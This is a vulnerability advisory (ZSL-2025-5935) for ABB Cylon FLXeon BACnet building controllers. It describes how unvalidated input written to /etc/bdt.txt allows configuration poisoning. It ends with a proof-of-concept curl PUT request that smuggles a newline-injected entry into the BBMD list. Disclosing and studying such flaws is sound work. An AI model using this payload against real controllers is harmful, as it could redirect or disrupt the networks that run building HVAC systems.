📄 ABB Cylon FLXeon 9.3.5 bbmdList.js Authenticated Configuration Poisoning

ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning
    
    
    Vendor: ABB Ltd.
    Product web page: https://www.global.abb                   
    Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                      CBX Series (FLX Series)
                      CBT Series
                      CBV Series
                      Firmware: <=9.3.5
    
    Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
    series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
    building management solutions. ABB BACnet controllers are designed for intelligent
    control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    heat pump systems, air handling units (constant volume, variable air volume, and
    multi-zone), rooftop units, electrical systems such as lighting control, variable
    frequency drives and metering.
    
    The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    connectivity and open integration for your building automation systems. It's scalable,
    and modular, allowing you to control a diverse range of HVAC functions.
    
    Desc: The ABB Cylon FLXeon BACnet controller suffers from a configuration poisoning
    vulnerability in the put() function of bbmdList.js, where the writeFile() function
    is invoked to persist user-controlled data (req.body.bipList and req.body.natList)
    directly into sensitive configuration files (/etc/bdt.txt and /etc/bdt2.txt). This
    write operation lacks input validation and integrity checks allowing an attacker to
    supply crafted JSON payloads to inject or overwrite trusted BACnet BBMD entries. As
    these files are critical for network configuration, exploitation may result in unauthorized
    network redirection, denial of service, or insertion of rogue nodes into the system,
    thereby undermining the integrity and security of OT network communications.
    
    Tested on: Linux Kernel 5.4.27
               Linux Kernel 4.15.13
               NodeJS/8.4.0
               Express
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5935
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5935.php
    
    
    21.04.2024
    
    --
    
    
    $ cat project
    
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
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             ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
    
    $ curl -k -X PUT "https://7.3.3.1/api/bbmdList" \
    > -H "Content-Type: application/json" \
    > -d '{\
    >    "bipList": [\
    >      { "ip": "127.0.0.1", "port": "9999", "mask": "255.255.255.255" },\
    >      { "ip": "MALFORMED_IP", "port": "notaport", "mask": "999.999.999.999" },\
    >      { "ip": "1.2.3.4", "port": "80", "mask": "0.0.0.0\nInjekcija,23,0xdeadbeef" }\
    >    ],\
    >    "natList": [\
    >      { "ip": "10.0.0.1", "port": "22", "mask": "255.255.255.0" }\
    >    ]\
    >  }'